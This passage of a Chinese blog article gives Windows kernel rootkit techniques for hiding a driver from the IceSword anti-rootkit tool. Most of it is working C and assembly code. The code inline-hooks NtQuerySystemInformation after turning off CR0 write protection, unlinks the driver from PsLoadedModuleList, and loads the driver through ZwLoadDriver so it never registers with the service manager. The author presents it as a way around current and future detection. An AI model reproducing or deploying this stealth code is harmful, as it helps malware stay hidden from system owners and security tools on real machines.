四、隐藏内核模块
    对于内核模块,我原以为IS会通过获取内核变量PsLoadedModuleList,然后在通过这个来遍历所有的内核模块。假设此时获得结果1。通过调用函数NtQuerySystemInformation,参数SystemModuleInformation,假设此时获得结果2。再把结果1与结果2进行比较,这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果2的过程。而没有去执行获取结果1的过程。
    下面的代码可以在IS下隐藏自己的内核模块,主要思路是,首先获取一个自己这个模块中任意函数的地址,把该地址给DriverAddr,利用DriverAddr在上述的结果2中定位,通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。
DWORD DriverAddr;
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
  IN ULONG        SystemInformationClass,
  OUT PVOID        SystemInformation,
  IN ULONG        SystemInformationLength,
  OUT PULONG        ReturnLength OPTIONAL  );
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;
NTSTATUS NewNtQuerySystemInformation(
  IN ULONG        SystemInformationClass,
  OUT PVOID        SystemInformation,
  IN ULONG        SystemInformationLength,
  OUT PULONG        ReturnLength OPTIONAL )
{
    NTSTATUS Status;
        _asm  //还原
        {
            pushad
            mov edi, OldNtQuerySystemInformation
            mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
            mov [edi], eax
            mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
            mov [edi+4], ax
            popad
        }
       
        Status = ZwQuerySystemInformation (
                            SystemInformationClass,
                            SystemInformation,
                            SystemInformationLength,
                            ReturnLength OPTIONAL );
        _asm //替换
        {
            pushad
            mov edi, OldNtQuerySystemInformation
            mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
            mov [edi], eax
            mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
            mov [edi+4], ax
            popad
        }
        if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb )  //是否是获取模块信息
        {
            return Status; 
        }
        _asm
        {
            pushad
            mov edi, SystemInformation
            mov ecx, [edi]            //eax=模块数目
            add edi, 0x4
NextModuleInfo:
            mov eax, [edi+0x8]   
            mov edx, [edi+0xC] 
           
            add edx, eax   
            mov ebx, DriverAddr
            cmp ebx, eax
            ja    FirstMatch
            dec ecx
            test ecx, ecx
            jz  ArrayEnd
            add edi, 0x11c
            jmp NextModuleInfo
FirstMatch:
            cmp ebx, edx
            jb SecMatch    //找到的话则跳去把该模块以后的模块数据前移已覆盖掉此模块
            dec ecx
            test ecx, ecx
            jz  ArrayEnd
            add edi, 0x11c
            jmp NextModuleInfo
SecMatch:
            dec ecx
            xor eax, eax
            mov ax, 0x11c
            mul cx
            xor ecx, ecx
            mov ecx, eax
            mov esi, edi
            add esi, 0x11c
            rep movsb
            mov edi, SystemInformation
            mov eax, [edi]
            dec eax
            mov [edi], eax            //完成
ArrayEnd:
            popad
        }
        return Status;
}
NTSTATUS PatchNtQuerySystemInformation()
{
    NTSTATUS Status;
           
            OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );
            if ( OldNtQuerySystemInformation == NULL )
            {
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }
            _asm    //关中断
            {
                CLI                 
                MOV    EAX, CR0      
                AND EAX, NOT 10000H
                MOV    CR0, EAX     
            }
            _asm
            {
                pushad
                //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
                lea eax, NewNtQuerySystemInformation   
                mov DriverAddr, eax //把NewNtQuerySystemInformation函数地址给DriverAddr
                mov edi, OldNtQuerySystemInformation
                mov eax, [edi]
                mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
                mov ax, [edi+4]
                mov word  ptr ResumCodeNtQuerySystemInformation[4], ax
               
                //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
                mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
                lea edi, NewNtQuerySystemInformation
                mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
                mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
                //把构造好的代码进行替换
                mov edi, OldNtQuerySystemInformation
                mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
                mov dword ptr[edi], eax
                mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
                mov word ptr[edi+4], ax
                popad
            }
            _asm //开中断
            {
                MOV    EAX, CR0     
                OR    EAX, 10000H        
                MOV    CR0, EAX          
                STI                   
            }
            Status = RepairNtosFile (
                            (DWORD)OldNtQuerySystemInformation,
                            (DWORD)&CrackCodeNtQuerySystemInformation[0] );
            return Status;
           
}
    你可能发现上面这段代码hook的也是NtQuerySystemInformation函数,而在隐藏进程中不是已经hook了NtQuerySystemInformation函数,这样不是造成重合了。在实际操作中,你只要hook一次NtQuerySystemInformation函数,然后在自己定义NewNtQuerySystemInformation中增加几个选择项就是了。我这样写是为了便于理解,使它们每个部分自成一体,如果按实际代码搬出来的话,显得太支离破碎(支离破碎的支到底是这个“支”还是这个“肢”??)了。
    不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op( fuzen_op@yahoo.com)在FU_Rootkit2.0的资源中给出了MODULE_ENTRY的结构定义如下:
typedef struct _MODULE_ENTRY {
    LIST_ENTRY le_mod;
    DWORD  unknown[4];
    DWORD  base;
    DWORD  driver_start;
    DWORD  unk1;
    UNICODE_STRING driver_Path;
    UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
进一步分析后发现上述结构中的unk1成员的值其实就是该模块文件的大小.从新对该结构定义如下:
typedef struct _MODULE_ENTRY {
    LIST_ENTRY le_mod;
    DWORD  unknown[4];
    DWORD  base;
    DWORD  driver_start;
    DWORD  Size;
    UNICODE_STRING driver_Path;
    UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
    PsLoadedModuleList指向的是一个带表头的双向链表,该链表的表头所指向的第一个MODULE_ENTRY的就是ntoskrnl.exe,此时它的base成员的值就是ntoskrnl.exe在内存中的起始地址.这是就可以顺手取一下NtoskrnlBase的值。
    有一点要注意的是,如果DriverEntry()例程未返回STATUS_SUCCESS之前。系统不会把你加入到PsLoadedModuleList链表中,此时你在PsLoadedModuleList中是找不到自己的。当然为了这个而写一个分发例程也行。我是在自己hook的那些系统函数中设了一个阀值,阀值初始值为“开”,这样系统调用这个函数时都会先检测阀值是否是“开”,是的话跑到PsLoadedModuleList找一下我们的模块是否存在,存在的话说明DriverEntry()已经返回成功,马上把自己从PsLoadedModuleList链表中删除,然后把阀值设成“关”,这样系统下次调用这个函数时发现阀值是“关”的就不会傻乎乎的又跑到PsLoadedModuleList中去搂一遍了。
DWORD NtoskrnlBase=0;
DWORD PsLoadedModuleListPtr=0;
typedef struct _MODULE_ENTRY {
    LIST_ENTRY le_mod;
    DWORD  unknown[4];
    DWORD  base;
    DWORD  driver_start;
    DWORD  Size;
    UNICODE_STRING driver_Path;
    UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
NTSTATUS GetPsLoadedModuleListPtr()
{
    UNICODE_STRING  UStrName;
    DWORD KdEnableDebuggerAddr;
    DWORD InitSystem=0;
    DWORD KdDebuggerDataBlock=0;
    PMODULE_ENTRY NtosModPtr;
    unsigned char * DebuggerDataBlockPtr;
    unsigned char * Sysinit;
    int i,j;
       
        RtlInitUnicodeString (
                    &UStrName,
                    L"KdEnableDebugger" );
        KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName );                                               
       
        if ( !KdEnableDebuggerAddr )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
       
        for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++)
        {
            if ( (*Sysinit) == 0xc6 && (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 )
            {
                _asm
                {
                    pushad
                    mov edi, Sysinit
                    mov eax, [edi+0x8]
                    add edi, 0xC
                    add edi, eax
                    mov InitSystem, edi
                    popad
                }
            }
            if ( InitSystem != 0) break;
        }
        if ( InitSystem == 0 )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
       
        for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++)
        {
            if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b )
            {
                DebuggerDataBlockPtr--;
                DebuggerDataBlockPtr--;
                for (j=0; j<0x10; j++, DebuggerDataBlockPtr--)
                {
                    if ( *DebuggerDataBlockPtr == 0x68 )
                    {
                        _asm
                        {
                            pushad
                            mov edi, DebuggerDataBlockPtr
                            inc edi
                            mov eax, [edi]
                            mov KdDebuggerDataBlock, eax
                            popad
                        }
                        break;
                    }
                }
               
            }
            if ( KdDebuggerDataBlock != 0 )
            {
                break;
            }
        }
        if ( KdDebuggerDataBlock == 0 )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
        _asm
        {
            pushad
            mov edi, KdDebuggerDataBlock
            mov eax, [edi+0x48]
            mov PsLoadedModuleListPtr, eax
            popad
        }
        if ( PsLoadedModuleListPtr == 0 )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
       
        //获取 Ntoskrnl 的起始地址
        NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr;
        NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink );  
        NtoskrnlBase = (DWORD) ( NtosModPtr->base );
        return STATUS_SUCCESS;
}
NTSTATUS RemoveModule ( )
{
    DWORD RemoveModleAddr;
    PMODULE_ENTRY PModPtr_Current;
    PMODULE_ENTRY PModPtr_Flink;
    PMODULE_ENTRY PModPtr_Blink;
            PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr;
           

            PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink);
            //Get RemoveModle Addr
            RemoveModleAddr= DriverAddr;
            for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) )
            {
                if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) )
                {
                    PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink);
                    PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink);
                    PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink;
                    PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink;
                    IsDelModule=TRUE;
                    break;
                }
            }
            if ( IsDelModule != TRUE )
            {
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }
            return STATUS_SUCCESS;
}
    上面这两个函数中,GetPsLoadedModuleListPtr()是通过特征码搜索获取KdDebuggerDataBlock的位置,使用特征码搜索办法虽然不是很好,但是通用性强。然后再以此获取PsLoadedModuleList地址,RemoveModule()用来实现在PsLoadedModuleList链表中删除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。

五、隐藏服务:
    普通情况下加载驱动需要 OpenSCManager->CreateService->StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll.dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:
    1、首先自己在注册表的服务项中添加一个自己的服务名字项。
    2、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService()函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。
按上面设置完后,来看看ZwLoadDriver的原形:
NTSTATUS
    ZwLoadDriver(
    IN PUNICODE_STRING DriverServiceName );
下面的代码给出了ZwLoadDriver的使用例子:
AnotherWayStartService( TCHAR *szDir )
{
    HKEY RegKey;
    HKEY hLicenses;
    DWORD disp;
    DWORD ErrorControl=NULL;
    DWORD ProcessID;
    DWORD Start=3;
    DWORD Type=1;
    LONG Regrt;
    DWORD ZwLoadDriver;
    DWORD RtlInitUnicodeString;
   
    UNICODE_STRING RegService;
    PCWSTR    RegServicePath= L" \\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath";
    TCHAR    DriverFilePath[MAX_PATH] = " \\??\\";

        Regrt = RegOpenKeyEx (
                    HKEY_LOCAL_MACHINE,
                    "SYSTEM\\CurrentControlSet\\Services",
                    0,
                    KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
                    &hLicenses );
        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }
        Regrt=RegCreateKeyEx (
                    hLicenses,
                    "neverdeath",
                    0,
                    "",
                    REG_OPTION_NON_VOLATILE,
                    KEY_ALL_ACCESS,
                    NULL,
                    &RegKey,
                    &disp );
        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }
            Regrt = RegOpenKeyEx (
                        HKEY_LOCAL_MACHINE,
                        "SYSTEM\\CurrentControlSet\\Services\\neverdeath",
                        0,
                        KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
                        &RegKey );
        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }
        Regrt = RegSetValueEx (
                    RegKey,
                    "ErrorControl",
                    NULL,
                    REG_DWORD,
                    (const unsigned char *)(&ErrorControl),
                    4 );
        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }
       
        strcat(DriverFilePath, szDir);
        Regrt = RegSetValueEx (
                    RegKey,
                    "ImagePath",
                    NULL,
                    REG_EXPAND_SZ,
                    (const unsigned char *)(&DriverFilePath),
                    strlen( DriverFilePath ) );
        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }

        Regrt = RegSetValueEx (
                    RegKey,
                    "Start",
                    NULL,
                    REG_DWORD,
                    (const unsigned char *)(&Start),
                    4 );
        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }
       
        Regrt = RegSetValueEx (       
                    RegKey,
                    "Type",
                    NULL,
                    REG_DWORD,
                    (const unsigned char *)(&Type),
                    4 );
        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }
        //还记得前面隐藏进程时,我们进程ID是从注册表中取的
        //下面就是把进程ID写入注册表,不会影响驱动的加载
        ProcessID=GetCurrentProcessId();   
        Regrt = RegSetValueEx (
                    RegKey,
                    "ProcessID",
                    NULL,
                    REG_DWORD,
                    (const unsigned char *)(&ProcessID),
                    4 );
        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }       
       
        CloseHandle( RegKey );

        ZwLoadDriver = (DWORD) GetProcAddress (
                            GetModuleHandle( "ntdll.dll" ),
                            "ZwLoadDriver" );
        RtlInitUnicodeString = (DWORD) GetProcAddress(
                                GetModuleHandle( "ntdll.dll" ),
                                "RtlInitUnicodeString" );
       
        _asm
        {
            pushad
            push RegServicePath
            lea edi, RegService
            push edi
            call RtlInitUnicodeString    //装载UNICODE字符
            lea edi, RegService
            push edi
            call ZwLoadDriver   
            popad
        }
        return true;
}
请注意上面这段代码中加载驱动时所使用的注册表路径格式是:
“\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath”
而不是:
“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath”
也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)

------------------------------------------
参考文章:
wuyanfeng     《icesword 驱动部分分析》 //呵呵,希望大家给国产调试器一些支持 !!   
tombkeeper    《获取Windows 系统的内核变量》    http://www.xfocus.net/articles/200408/724.html
JIURL         《IRP 乱杂谈》            http://jiurl.yeah.net/       
JIURL        《JIURL玩玩Win2k进程线程篇 HANDLE_TABLE》 http://jiurl.yeah.net/
JIURL         《JIURL玩玩Win2k 对象》            http://jiurl.yeah.net/   
sinister    《隐藏任意进程,目录/文件,注册表,端口》
能记得住的文章就这几个了。

0

收藏

laokaddk

983篇文章,677W+人气,2粉丝